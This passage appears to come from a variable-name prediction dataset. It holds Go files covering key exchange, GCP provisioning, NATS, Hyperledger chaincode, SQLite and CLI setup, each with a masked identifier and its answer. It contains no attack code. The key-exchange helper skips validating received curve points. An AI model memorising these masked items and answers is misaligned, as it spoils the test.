OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to */ package kex import ( ""bytes"" ""crypto/ecdsa"" ""crypto/elliptic"" ""crypto/rand"" ""crypto/sha256"" ""crypto/sha512"" ""encoding/gob"" ""errors"" ""math/big"" ) const ( P224 int = iota P256 int = iota P386 int = iota P512 int = iota ) type Kex struct { Curve elliptic.Curve SK *ecdsa.PrivateKey X, Y *big.Int Scalar *big.Int } func NewP224() *Kex { k, _ := NewKex(P224) return k } func NewP256() *Kex { k, _ := NewKex(P256) return k } func NewP386() *Kex { k, _ := NewKex(P386) return k } func NewP512() *Kex { k, _ := NewKex(P512) return k } func NewKex( [MASK] int) (*Kex, error) { var ( curve elliptic.Curve ) switch [MASK] { case P224: curve = elliptic.P224() case P256: curve = elliptic.P256() case P386: curve = elliptic.P384() case P512: curve = elliptic.P521() default: return nil, errors.New(""Unknown elliptic curve."") } sk, err := ecdsa.GenerateKey(curve, rand.Reader) if err != nil { return nil, err } return &Kex{ Curve: curve, SK: sk, X: big.NewInt(0), Y: big.NewInt(0), }, nil } // Encode encodes your public keys X & Y values using gob // to transmit them to your partner/server/whatever. func (k *Kex) Encode() ([]byte, error) { buffer := new(bytes.Buffer) e := gob.NewEncoder(buffer) if err := e.Encode([][]byte{k.SK.PublicKey.X.Bytes(), k.SK.PublicKey.Y.Bytes()}); err != nil { return nil, errors.New(""Encoding public key failed."") } return buffer.Bytes(), nil } // Decode decodes the received public key X & Y values using gob // to be able to generate your shared secret. func (k *Kex) Decode(encodedPK []byte) error { // reset old pk k.X = big.NewInt(0) k.Y = big.NewInt(0) buffer := new(bytes.Buffer) buffer.Write(encodedPK) var decodedPK [][]byte d := gob.NewDecoder(buffer) if err := d.Decode(&decodedPK); err != nil { return errors.New(""Decoding public key failed"") } k.X.SetBytes(decodedPK[0]) k.Y.SetBytes(decodedPK[1]) return nil } // Calculate shared secret. func (k *Kex) Calculate() { k.Scalar, _ = k.SK.PublicKey.Curve.ScalarMult(k.X, k.Y, k.SK.D.Bytes()) } func (k *Kex) Sum224() [sha256.Size224]byte { k.Calculate() return sha256.Sum224(k.Scalar.Bytes()) } func (k *Kex) Sum256() [sha256.Size]byte { k.Calculate() return sha256.Sum256(k.Scalar.Bytes()) } func (k *Kex) Sum512() [sha512.Size]byte { k.Calculate() return sha512.Sum512(k.Scalar.Bytes()) } ",curveType 301,"// Copyright 2023 // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package cmdcreate import ( ""os"" ""path/filepath"" ""strings"" ""github.com/shaunmitchellve/arete/pkg/utils"" ""github.com/manifoldco/promptui"" ""github.com/rs/zerolog/log"" ""github.com/spf13/viper"" ""gopkg.in/yaml.v3"" ) var currentRegions = []string{""us-central1"", ""us-east1"", ""northamerica-northeast1"", ""northamerica-northeast2"", ""europe-north1"", ""europe-west1"", ""europe-west3"", ""australia-southeast1"", ""australia-southeast2"", ""asia-northeast1"", ""asia-northeast2""} type createSteps struct { Clusters []clusters `yaml:""clusters""` } type clusters struct{ Cluster string `yaml:""cluster""` Steps []string `yaml:""""` } func (cs *createSteps) clusterExists(cluster string) bool { for _, cls := range cs.Clusters { if cls.Cluster == cluster { return true } } return false } // Does the step exist in the .create yaml file func (cs *createSteps) stepExists(cluster string, step string) bool { for _, cls := range cs.Clusters { if cls.Cluster == cluster { for _, stp := range cls.Steps { if stp == step { return true } } return false; } } return false } // createCmd represents the create command func CmdcreateRun(instanceName string, region string, project string, billing string) { [MASK] := false regionMsg := ""Unsupported region. Please choose one of: \n"" var err error for i := 0; i < len(currentRegions); i++ { regionMsg += "" - "" + currentRegions[i] + ""\n"" if region == currentRegions[i] { [MASK] = true } } if ! [MASK] { log.Fatal().Msg(regionMsg) } // project flag not provided to create a random project name based on the cluster name and random string if project == """" { project = instanceName + ""-"" + utils.RandomString(5) log.Info().Msgf(""Project name will be set to: %s"", project) } // check to see if the .create yaml file exists, if not create it // The .create file keeps track of steps that have already been completed for repeated calls to the create function. createStepsFile := filepath.Join(viper.GetString(""cache""), "".create"") createSteps := createSteps{} if _, err = os.Stat(createStepsFile); err != nil { createYaml := ""clusters:\n - cluster: "" + instanceName + ""\n steps:\n"" if err = utils.WriteToCache(&createYaml, "".create"", false); err != nil { log.Fatal().Err(err).Msg("""") } } else { stepsFileContents, err := os.ReadFile(createStepsFile) if err == nil { if err = yaml.Unmarshal(stepsFileContents, &createSteps); err != nil { log.Fatal().Err(err).Msg("""") } } if(!createSteps.clusterExists(instanceName)) { createYaml := "" - cluster: "" + instanceName + ""\n steps:\n"" if err = utils.WriteToCache(&createYaml, "".create"", true); err != nil { log.Fatal().Err(err).Msg("""") } stepsFileContents, err := os.ReadFile(createStepsFile) if err == nil { if err = yaml.Unmarshal(stepsFileContents, &createSteps); err != nil { log.Fatal().Err(err).Msg("""") } } } } // Test if project exists rtr, err := utils.CallCommand(utils.Gcloud, []string{""projects"", ""list"", ""--filter=projectId:"" + project , ""--format=\""yaml\""""}, false) if err != nil { log.Fatal().Err(err).Msg("""") } // If no project exists (or the user doesn't have access to it) let's create one if len(string(rtr)) == 0 { // billing flag not used, pull billing accounts and prompt the user to select one if billing == """" { billing, err = selectGcloudPrompt([]string{""alpha"", ""billing"", ""accounts"", ""list"", ""--format=value[separator=' - '](NAME, ACCOUNT_ID)""}, ""billing account"") if err != nil { log.Fatal().Err(err).Msg(""Unable to generate billing prompt"") } } if err = createProject(project, billing); err != nil { log.Fatal().Err(err).Msg("""") } cmdArgs := []string{""beta"", ""billing"", ""projects"", ""link"", project, ""--billing-account"", billing} billRes, err := utils.CallCommand(utils.Gcloud, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(""Unable to assign billing account to project: "" + string(billRes)) } } // If the GCP services have not already been enabled by the cli then let's do it. if !createSteps.stepExists(instanceName, ""services"") { log.Info().Msg(""Enabling required services..."") cmdArgs := []string{""services"", ""enable"", ""krmapihosting.googleapis.com"", ""container.googleapis.com"", ""cloudresourcemanager.googleapis.com"", ""cloudbilling.googleapis.com"", ""--project="" + project} if _, err = utils.CallCommand(utils.Gcloud, cmdArgs, true); err != nil { log.Fatal().Err(err).Msg("""") } if err = saveStep(instanceName, ""services""); err != nil { log.Fatal().Err(err).Msg("""") } } networkConfig := map[string]interface{}{""name"": ""kcc-controller"", ""subnet-name"": ""kcc-regional-subnet"", ""cidr"": ""192.168.0.0/16""} if viper.InConfig(""network"") { networkConfig = viper.GetStringMap(""network"") } // If the VPC has not already been created by the cli then let's do it if !createSteps.stepExists(instanceName, ""network"") { // BUT first let's check to make sure that the network with the same name doesn't already exist cmdArgs := []string{""compute"", ""networks"", ""list"", ""--project="" + project, ""--filter=name:"" + networkConfig[""name""].(string), ""--format=\""yaml\""""} ret, err := utils.CallCommand(utils.Gcloud, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(string(ret)) } if len(string(ret)) == 0 { cmdArgs = []string{""compute"", ""networks"", ""create"", networkConfig[""name""].(string), ""--project="" + project, ""--subnet-mode=custom""} log.Info().Msg(""Creating Network..."") ret, err = utils.CallCommand(utils.Gcloud, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(string(ret)) } if err = saveStep(instanceName, ""network""); err != nil { log.Fatal().Err(err).Msg("""") } } else { if err = saveStep(instanceName, ""network""); err != nil { log.Fatal().Err(err).Msg("""") } } } // If the subnet on the VPC has not already been created by the cli then let's do it if !createSteps.stepExists(instanceName, ""subnet"") { // BUT first let's check to make sure that a subnet with the same name doesn't already exist cmdArgs := []string{""compute"", ""networks"", ""subnets"", ""list"", ""--project="" + project, ""--filter=name:"" + networkConfig[""subnet-name""].(string), ""--format=\""yaml\""""} ret, err := utils.CallCommand(utils.Gcloud, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(string(ret)) } if len(string(ret)) == 0 || strings.Contains(strings.ToLower(string(ret)), ""warning"") { cmdArgs = []string{""compute"", ""networks"", ""subnets"", ""create"", networkConfig[""subnet-name""].(string), ""--network="" + networkConfig[""name""].(string), ""--range="" + networkConfig[""cidr""].(string), ""--enable-private-ip-google-access"", ""--region="" + region, ""--project="" + project} log.Info().Msg(""Creating subnet...."") ret, err = utils.CallCommand(utils.Gcloud, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(string(ret)) } if err = saveStep(instanceName, ""subnet""); err != nil { log.Fatal().Err(err).Msg("""") } } else { if err = saveStep(instanceName, ""subnet""); err != nil { log.Fatal().Err(err).Msg("""") } } } // If config controller hasn't already been setup by the cli then let's do it if !createSteps.stepExists(instanceName, ""config-controller"") { cmdArgs := []string{""anthos"", ""config"", ""controller"", ""create"", instanceName, ""--location="" + region, ""--network="" + networkConfig[""name""].(string), ""--subnet="" + networkConfig[""subnet-name""].(string), ""--project="" + project} log.Info().Msg(""Creating Config Controller Cluster...."") if _, err = utils.CallCommand(utils.Gcloud, cmdArgs, true); err != nil { log.Fatal().Err(err).Msg("""") } if err = saveStep(instanceName, ""config-controller""); err != nil { log.Fatal().Err(err).Msg("""") } } // Adding service account to the owners role if !createSteps.stepExists(instanceName, ""add-policy"") { cmdArgs := []string{""container"", ""clusters"", ""get-credentials"", ""krmapihost-"" + instanceName, ""--region="" + region, ""--project="" + project} if _, err = utils.CallCommand(utils.Gcloud, cmdArgs, false); err != nil { log.Fatal().Err(err).Msg(""Unable to get GKE credetials"") } cmdArgs = []string{""get"", ""ConfigConnectorContext"", ""-n"", ""config-control"", ""-o"", ""jsonpath='{.items[0].spec.googleServiceAccount}'""} ret, err := utils.CallCommand(utils.Kubectl, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(""Unable to get configconnectorcontext"") } sa := strings.Replace(strings.Split(strings.Split(string(ret), ""@"")[0], ""'"")[1] + ""@"" + strings.Split(string(ret), ""@"")[1], ""'"", """",1) cmdArgs = []string{""projects"", ""add-iam-policy-binding"", project, `--member=serviceAccount:` + sa, `--role=roles/owner`, `--condition=None`} log.Info().Msg(""Add SA to roles/owner role..."") ret, err = utils.CallCommand(utils.Gcloud, cmdArgs, false) if err != nil { log.Fatal().Err(err).Msg(""Unable to add roles/owner to "" + sa + string(ret)) } if err = saveStep(instanceName, ""add-policy""); err != nil { log.Fatal().Err(err).Msg("""") } } log.Info().Msg(""Config Controller setup complete"") } // Create a project at either the org or at a folder level. func createProject(project string, billing string) error { var folderId string orgId, err := selectGcloudPrompt([]string{""organizations"", ""list"", ""--format=value[separator=' - '](DISPLAY_NAME, ID)""}, ""organization ID"") if err != nil { return err } prompt := promptui.Select{ Label: ""Would you like the project to be created at the Org level or in a folder"", Items: []string{""Organization Level"", ""Folder Level""}, } _, result, err := prompt.Run() if err != nil { return err } cmdArgs := []string{""projects"", ""create"", project, ""--set-as-default"", ""--labels=created-with-arete=true""} if result == ""Folder Level"" { folderId, err = selectGcloudPrompt([]string{""resource-manager"", ""folders"", ""list"", ""--organization=""+orgId, ""--format=value[separator=' - '](DISPLAY_NAME, ID)""}, ""folder"") if err != nil { return err } cmdArgs = append(cmdArgs, ""--folder=""+folderId) } else { cmdArgs = append(cmdArgs, ""--organization=""+orgId) } if _, err = utils.CallCommand(utils.Gcloud, cmdArgs, true); err != nil { return err } return nil } // Generic select prompt from a gcloud list command func selectGcloudPrompt(args []string, label string) (string, error) { var opts []string if viper.GetBool(""verbose"") { log.Debug().Msg(""Calling gcloud ""+label+"" list"") } out, err := utils.CallCommand(utils.Gcloud, args, false) if err != nil { return """", err } sp := strings.Split(string(out), ""\n"") sp = sp[:len(sp)-1] // pop off the last element as it's a blank newline element for i := 0; i < len(sp); i++ { opts = append(opts, sp[i]) } prompt := promptui.Select{ Label: ""Choose a "" + label, Items: opts, } _, result, err := prompt.Run() if err != nil { return """", err } return result[strings.Index(result, "" - "")+3:], nil } // Save a step to the cache .create file for future tracking func saveStep(cluster string, step string) error { step = "" - "" + step + ""\n"" if err := utils.WriteToCache(&step, "".create"", true); err != nil { return err } return nil } ",regionFound 302,"package main import ( ""context"" ""fmt"" ""log"" ""time"" ""github.com/nats-io/nats.go"" ) type Client struct { nc *nats.Conn } func NewClient() *Client { nc, err := nats.Connect(nats.DefaultURL) if err != nil { log.Fatal(err) } return &Client{nc: nc} } func (c *Client) Set(ctx context.Context, key string, value []byte, replicas int) error { inbox := nats.NewInbox() // Listen for replies on the inbox sub, err := c.nc.SubscribeSync(inbox) if err != nil { return fmt.Errorf(""subscribe error: %w"", err) } defer sub.Unsubscribe() msg := &nats.Msg{ Subject: key, Data: value, Header: make(nats.Header), Reply: inbox, } msg.Header.Add(""op"", ""set"") err = c.nc.PublishMsg(msg) if err != nil { return fmt.Errorf(""publish error: %w"", err) } for i := 0; i < replicas; i++ { _, err := sub.NextMsgWithContext(ctx) if err != nil { return fmt.Errorf(""receive reply error: %w"", err) } } return nil } func (c *Client) Del(ctx context.Context, key string, replicas int) error { inbox := nats.NewInbox() // Listen for replies on the inbox sub, err := c.nc.SubscribeSync(inbox) if err != nil { return fmt.Errorf(""subscribe error: %w"", err) } defer sub.Unsubscribe() msg := &nats.Msg{ Subject: key, Header: make(nats.Header), Reply: inbox, } msg.Header.Add(""op"", ""del"") err = c.nc.PublishMsg(msg) if err != nil { return fmt.Errorf(""publish error: %w"", err) } for i := 0; i < replicas; i++ { _, err := sub.NextMsgWithContext(ctx) if err != nil { return fmt.Errorf(""receive reply error: %w"", err) } } return nil } func (c *Client) Get(key string) { inbox := nats.NewInbox() // Listen for replies on the inbox sub, err := c.nc.SubscribeSync(inbox) if err != nil { log.Fatal(err) } defer sub.Unsubscribe() msg := &nats.Msg{ Subject: key, Header: make(nats.Header), Reply: inbox, } msg.Header.Add(""op"", ""get"") err = c.nc.PublishMsg(msg) if err != nil { log.Fatal(err) } reply, err := sub.NextMsg(1 * time.Second) if err != nil { log.Fatal(err) } log.Println(""Get operation reply:"", reply) } func main() { [MASK] := NewClient() key := ""key"" value := []byte(""value"") err := [MASK] .Set(context.Background(), key, value, 3) if err != nil { log.Fatal(err) } log.Println(""Set operation completed"") [MASK] .Get(key) err = [MASK] .Del(context.Background(), key, 3) if err != nil { log.Fatal(err) } log.Println(""Del operation completed"") } ",client 303,"package main import ( ""encoding/json"" ""fmt"" ""log"" ""os"" ""os/exec"" ""strconv"" ""strings"" ""time"" ""github.com/go-git/go-git/v5"" ""github.com/go-git/go-git/v5/plumbing/transport/http"" ""github.com/hyperledger/fabric-contract-api-go/contractapi"" ) /** * Struct Type * */ // SmartContract provides functions for managing a trace type SmartContract struct { contractapi.Contract } // Trace describes basic details of what makes up a trace type Trace struct { Issuer string `json:""issuer""` Artefact string `json:""artefact""` Hash string `json:""hash""` Date time.Time `json:""date""` State string `json:""state""` Version string `json:""version""` Message string `json:""message""` } // QueryResult structure used for handling result of query type QueryResult struct { Key string `json:""Key""` Record *Trace } /** * Chaincode Function * */ // InitLedger adds a base set of traces to the ledger func (s *SmartContract) InitLedger(ctx contractapi.TransactionContextInterface) error { timestamp, _ := ctx.GetStub().GetTxTimestamp() date := time.Unix(timestamp.Seconds, int64(timestamp.Nanos)) traces := []Trace{ {Issuer: ""Standard Company"", Artefact: ""README.md"", Hash: ""246768bd999c2df2c03a5e33219ae4b3b52d9de6"", Date: date, State: ""ISSUED"", Version: ""1.0.0"", Message: ""Initial commit""}, } CloneRepo() GitConfig() for i, trace := range traces { traceAsBytes, _ := json.Marshal(trace) err := ctx.GetStub().PutState(""TRACE""+strconv.Itoa(i), traceAsBytes) if err != nil { return fmt.Errorf(""Failed to put to world state. %s"", err.Error()) } } return nil } // CreateTrace adds a new trace to the world state with given details func (s *SmartContract) IssueArtefact(ctx contractapi.TransactionContextInterface, traceNumber string, idPullRequest string, branchName string, issuer string, artefact string, hash string, message string) error { timestamp, _ := ctx.GetStub().GetTxTimestamp() date := time.Unix(timestamp.Seconds, int64(timestamp.Nanos)) trace := Trace{ Issuer: issuer, Artefact: artefact, Hash: hash, Date: date, State: ""ISSUED"", Version: ""1.0.0"", Message: message, } // Merge Pull Request MergeOnPeer(idPullRequest, branchName) traceAsBytes, _ := json.Marshal(trace) return ctx.GetStub().PutState(traceNumber, traceAsBytes) } // UpdateArtefact updates the fields of trace with given id in world state func (s *SmartContract) UpdateArtefact(ctx contractapi.TransactionContextInterface, traceNumber string, idPullRequest string, branchName string, issuer string, hash string, version string, message string) error { trace, err := s.QueryTrace(ctx, traceNumber) if err != nil { return err } timestamp, _ := ctx.GetStub().GetTxTimestamp() date := time.Unix(timestamp.Seconds, int64(timestamp.Nanos)) trace.Issuer = issuer trace.Hash = hash trace.State = ""UPDATED"" trace.Version = version trace.Message = message trace.Date = date // Merge Pull Request MergeOnPeer(idPullRequest, branchName) traceAsBytes, _ := json.Marshal(trace) return ctx.GetStub().PutState(traceNumber, traceAsBytes) } // QueryTrace returns the trace stored in the world state with given id func (s *SmartContract) QueryTrace(ctx contractapi.TransactionContextInterface, traceNumber string) (*Trace, error) { traceAsBytes, err := ctx.GetStub().GetState(traceNumber) if err != nil { return nil, fmt.Errorf(""Failed to read from world state. %s"", err.Error()) } if traceAsBytes == nil { return nil, fmt.Errorf(""%s does not exist"", traceNumber) } trace := new(Trace) _ = json.Unmarshal(traceAsBytes, trace) return trace, nil } // QueryAllTraces returns all traces found in world state func (s *SmartContract) QueryAllTraces(ctx contractapi.TransactionContextInterface) ([]QueryResult, error) { startKey := ""TRACE0"" [MASK] := ""TRACE99"" resultsIterator, err := ctx.GetStub().GetStateByRange(startKey, [MASK] ) if err != nil { return nil, err } defer resultsIterator.Close() results := []QueryResult{} for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return nil, err } trace := new(Trace) _ = json.Unmarshal(queryResponse.Value, trace) queryResult := QueryResult{Key: queryResponse.Key, Record: trace} results = append(results, queryResult) } return results, nil } /** * Git Function * */ func CloneRepo() { Info(""git clone https://github.com/StandardCompany/requirement-test.git"") r, err := git.PlainClone(""/home/chaincode/requirement-test"", false, &git.CloneOptions{ URL: ""https://github.com/StandardCompany/requirement-test.git"", Progress: os.Stdout, Auth: &http.BasicAuth{ Username: ""StandardCompany"", Password: """", }, }) CheckIfError(err) // ... retrieving the branch being pointed by HEAD ref, err := r.Head() CheckIfError(err) // ... retrieving the commit object commit, err := r.CommitObject(ref.Hash()) CheckIfError(err) fmt.Println(commit) } func GitConfig() { log.Printf(""Running git config --global user.email "") cmd := exec.Command(""git"", ""config"", ""--global"", ""user.email"", """") cmd.Dir = ""/home/chaincode/requirement-test"" err := cmd.Run() CheckIfError(err) log.Printf(""Running git config --global user.name StandardCompany"") cmd = exec.Command(""git"", ""config"", ""--global"", ""user.name"", ""StandardCompany"") cmd.Dir = ""/home/chaincode/requirement-test"" err = cmd.Run() CheckIfError(err) } func MergeOnPeer(id string, branch string) { var pullRef string pullRef = ""pull/"" + id + ""/head:"" + branch log.Printf(""Running git fetch origin pull/%s/head:%s"", id, branch) cmd := exec.Command(""git"", ""fetch"", ""origin"", pullRef) cmd.Dir = ""/home/chaincode/requirement-test"" err := cmd.Run() CheckIfError(err) log.Printf(""Running git merge --no-ff --no-edit %s"", branch) cmd = exec.Command(""git"", ""merge"", ""--no-ff"", ""--no-edit"", branch) cmd.Dir = ""/home/chaincode/requirement-test"" err = cmd.Run() CheckIfError(err) log.Printf(""Running git status"") cmd = exec.Command(""git"", ""status"") cmd.Dir = ""/home/chaincode/requirement-test"" err = cmd.Run() CheckIfError(err) } // CheckArgs should be used to ensure the right command line arguments are // passed before executing an example. func CheckArgs(arg ...string) { if len(os.Args) < len(arg)+1 { Warning(""Usage: %s %s"", os.Args[0], strings.Join(arg, "" "")) os.Exit(1) } } // CheckIfError should be used to naively panics if an error is not nil. func CheckIfError(err error) { if err == nil { return } fmt.Printf(""\x1b[31;1m%s\x1b[0m\n"", fmt.Sprintf(""error: %s"", err)) os.Exit(1) } // Info should be used to describe the example commands that are about to run. func Info(format string, args ...interface{}) { fmt.Printf(""\x1b[34;1m%s\x1b[0m\n"", fmt.Sprintf(format, args...)) } // Warning should be used to display a warning func Warning(format string, args ...interface{}) { fmt.Printf(""\x1b[36;1m%s\x1b[0m\n"", fmt.Sprintf(format, args...)) } /** * Main Function * */ func main() { chaincode, err := contractapi.NewChaincode(new(SmartContract)) if err != nil { fmt.Printf(""Error create requirement chaincode: %s"", err.Error()) return } if err := chaincode.Start(); err != nil { fmt.Printf(""Error starting requirement chaincode: %s"", err.Error()) } } ",endKey 304,"package account import ( ""database/sql"" ""fmt"" ) type Contact struct { Id int `json:""id"" sql:""id""` Name string `json:""name"" sql:""name""` Email string `json:""email"" sql:""email""` Phone string `json:""phone"" sql:""phone""` Addr string `json:""addr"" sql:""addr""` Tag string `json:""tag"" sql:""tag""` Description string `json:""description"" sql:""description""` } func (c *Contact) InitDB(db *sql.DB) error { sqlstr := ` CREATE TABLE IF NOT EXISTS 'contacts' ( 'id' INTEGER PRIMARY KEY AUTOINCREMENT, 'name' VARCHAR(32) NOT NULL, 'email' VARCHAR(32) UNIQUE, 'phone' VARCHAR(16) UNIQUE, 'addr' VARCHAR(64) NOT NULL, 'tag' VARCHAR(16), 'description' VARCHAR(255) )` if _, err := db.Exec(sqlstr); err != nil { logger.Errorf(""create table contacts failed, %s"", err) return err } return nil } // used by (*Contact).List func (c *Contact) List(db *sql.DB) ([]*Contact, error) { query := `SELECT id, name, email, phone, addr, tag, description FROM contacts` [MASK] , err := db.Query(query) if err != nil { logger.Errorf(""query contact failed, %s"", err) return nil, err } cs := []*Contact{} for [MASK] .Next() { ret := &Contact{} if err = [MASK] .Scan(&ret.Id, &ret.Name, &ret.Email, &ret.Phone, &ret.Addr, &ret.Tag, &ret.Description); err != nil { return nil, err } cs = append(cs, ret) } return cs, nil } // used by (*Contact).Get func (c *Contact) Get(db *sql.DB, id int) (*Contact, error) { ret := &Contact{} query := `SELECT * FROM contacts WHERE id = ?` err := db.QueryRow(query, id).Scan(&ret.Id, &ret.Name, &ret.Email, &ret.Phone, &ret.Addr, &ret.Tag, &ret.Description) if err != nil { logger.Errorf(""query contact<%v> failed, %s"", id, err) return nil, err } return ret, nil } func (c *Contact) Update(db *sql.DB, n *Contact) error { sqlstr := ` UPDATE contacts SET name = ?, email = ?, phone = ?, addr = ?, tag = ?, description = ? WHERE id = ? ` if _, err := db.Exec(sqlstr, n.Name, n.Email, n.Phone, n.Addr, n.Tag, n.Description, c.Id); err != nil { logger.Errorf(""update<%+v> to <%+v> failed, %s"", c, n, err) return err } c.Name = n.Name c.Email = n.Email c.Phone = n.Phone c.Addr = n.Addr c.Tag = n.Tag c.Description = n.Description return nil } func (c *Contact) Insert(db *sql.DB) error { sqlstr := ` INSERT INTO contacts ( name, email, phone, addr, tag, description ) VALUES(?, ?, ?, ?, ?, ?) ` if _, err := db.Exec(sqlstr, c.Name, c.Email, c.Phone, c.Addr, c.Tag, c.Description); err != nil { logger.Errorf(""insert %+v into table contacts failed, %s"", c, err) return err } return c.loadId(db) } func (c *Contact) Remove(db *sql.DB, id int) error { sqlstr := ` DELETE FROM contacts WHERE id = ?; ` if _, err := db.Exec(sqlstr, id); err != nil { logger.Errorf(""remove %+v from contacts failed, %s"", id, err) return err } return nil } func (c *Contact) RemoveAll(db *sql.DB) error { sqlstr := `DELETE FROM contacts` if _, err := db.Exec(sqlstr, c.Id); err != nil { logger.Errorf(""remove all from contacts failed, %s"", err) return err } return nil } func (c *Contact) loadId(db *sql.DB) error { if c.Email == """" || c.Phone == """" { return fmt.Errorf(""need email or phone"") } query := `SELECT id FROM contacts WHERE email = ? and phone = ?` err := db.QueryRow(query, c.Email, c.Phone).Scan(&c.Id) if err != nil { logger.Errorf(""query contact failed, %s"", err) return err } return nil } ",rows 305,"package statsviz import ( ""embed"" ""fmt"" ""net/http"" ""time"" ""github.com/gin-gonic/gin"" ""github.com/hellobchain/statsviz/internal/static"" ) // RegisterDefault registers statsviz HTTP handlers on the default serve mux. // // Note this is not advised on a production server, unless it only serves on // localhost. func RegisterDefault(opts ...OptionFunc) error { return Register(http.DefaultServeMux, opts...) } // Root sets the root path of statsviz handlers. func Root(root string) OptionFunc { return func(s *server) error { s.root = root return nil } } // SendFrequency defines the frequency at which statistics are sent from the // application to the HTML page. func SendFrequency(freq time.Duration) OptionFunc { return func(s *server) error { if freq <= 0 { return fmt.Errorf(""frequency must be a positive integer"") } s.freq = freq return nil } } func Fs(fs embed.FS) OptionFunc { return func(s *server) error { s.fs = fs return nil } } // An OptionFunc is a server configuration option. type OptionFunc func(s *server) error const ( defaultRoot = ""/debug/statsviz"" defaultSendFrequency = time.Second ) // Register registers statsviz HTTP handlers on the provided mux. func Register(mux *http.ServeMux, opts ...OptionFunc) error { s := &server{ mux: mux, root: defaultRoot, freq: defaultSendFrequency, fs: static.Assets, } for _, opt := range opts { if err := opt(s); err != nil { return err } } s.register() return nil } type server struct { mux *http.ServeMux freq time.Duration root string fs embed.FS } func (s *server) register() { s.mux.Handle(s.root+""/"", IndexAtRootWithFs(s.root, s.fs)) s.mux.HandleFunc(s.root+""/ws"", NewWsHandler(s.freq)) } func RouteRegister(rg gin.IRouter, opts ...OptionFunc) error { s := &server{ root: defaultRoot, freq: defaultSendFrequency, fs: static.Assets, } for _, opt := range opts { if err := opt(s); err != nil { return err } } [MASK] := rg.Group(s.root) { [MASK] .GET(""/"", gin.WrapF(IndexAtRootWithFs(s.root, s.fs))) [MASK] .GET(""/css/*any"", gin.WrapF(IndexAtRootWithFs(s.root, s.fs))) [MASK] .GET(""/js/*any"", gin.WrapF(IndexAtRootWithFs(s.root, s.fs))) [MASK] .GET(""/libs/*any"", gin.WrapF(IndexAtRootWithFs(s.root, s.fs))) [MASK] .GET(""/index.html"", gin.WrapF(IndexAtRootWithFs(s.root, s.fs))) [MASK] .GET(""/ws"", gin.WrapH(NewWsHandler(s.freq))) } return nil } ",prefixRouter 306,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""flag"" ""fmt"" ""os"" ""github.com/boris257/csi-driver-zram/pkg/zram"" ""k8s.io/klog/v2"" ) func init() { klog.InitFlags(nil) } var ( endpoint = flag.String(""endpoint"", ""unix:///tmp/csi.sock"", ""CSI endpoint"") nodeID = flag.String(""nodeid"", """", ""node id"") driverName = flag.String(""drivername"", zram.DefaultDriverName, ""name of the driver"") ver = flag.Bool(""ver"", false, ""Print the version and exit."") enableGetVolumeStats = flag.Bool(""enable-get-volume-stats"", true, ""allow GET_VOLUME_STATS on agent node"") enableTopology = flag.Bool(""enable-topology"", true, ""allow GET_VOLUME_STATS on agent node"") workingMountDir = flag.String(""working-mount-dir"", ""/tmp"", ""working directory for provisioner to mount zram shares temporarily"") ) func main() { flag.Parse() if *ver { info, err := zram.GetVersionYAML(*driverName) if err != nil { klog.Fatalln(err) } fmt.Println(info) // nolint os.Exit(0) } if *nodeID == """" { // nodeid is not needed in controller component klog.Warning(""nodeid is empty"") } handle() os.Exit(0) } func handle() { [MASK] := zram.DriverOptions{ NodeID: *nodeID, DriverName: *driverName, EnableGetVolumeStats: *enableGetVolumeStats, WorkingMountDir: *workingMountDir, EnableTopology: *enableTopology, } driver := zram.NewDriver(& [MASK] ) driver.Run(*endpoint, false) } ",driverOptions 307,"package cmd import ( ""errors"" ""fmt"" ""os"" ""github.com/joho/godotenv"" ""github.com/rs/zerolog"" ""github.com/rs/zerolog/log"" ""github.com/spf13/cobra"" ) const ( appName = ""random-launcher-backend"" version = ""v0.0.1"" about = ""backend for random-launcher"" ) var ( short = fmt.Sprintf(""%s %s"", appName, version) long = fmt.Sprintf(""%s\n%s"", short, about) errArgsProvided = errors.New(""you should not provide any arguments"") ) func preRunE(cmd *cobra.Command, _args []string) (err error) { log.Info().Msg(short) // Load environment variables from `.env` if err := godotenv.Load(); err != nil { log.Warn().Err(err).Msg(""failed to load environment variables"") } return } func Execute() (err error) { log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr}) cobra.OnInitialize() [MASK] := rootCommand() [MASK] .AddCommand( listCommand(), migrateCommand(), ) if err = [MASK] .Execute(); err != nil { log.Fatal().Msg(err.Error()) return } return } ",rootCmd 308,"package internal import ( ""errors"" ""fmt"" ""github.com/democracy-tools/countmein-scheduler/internal/ds"" ""github.com/democracy-tools/go-common/env"" ""github.com/democracy-tools/go-common/whatsapp"" ""github.com/sirupsen/logrus"" ) func Run(dsc ds.Client, [MASK] whatsapp.Client) (string, error) { template := env.GetWhatsAppTemplate() participantIdToPhone, err := getParticipants(dsc) if err != nil { return template, err } var errs error for currUserId, currPhone := range participantIdToPhone { err = [MASK] .SendReminderTemplate(template, currPhone, currUserId) if err != nil { errs = errors.Join(errs, err) } } if errs != nil { return template, errs } return template, nil } func getParticipants(dsc ds.Client) (map[string]string, error) { // *** datastore does not support join and group-by *** demonstration, err := ds.GetKaplanDemonstration(dsc) if err != nil { return nil, err } volunteers, err := ds.GetVolunteers(dsc, demonstration.Id) if err != nil { return nil, err } var users []ds.User err = dsc.GetAll(ds.KindUser, &users) if err != nil { return nil, err } 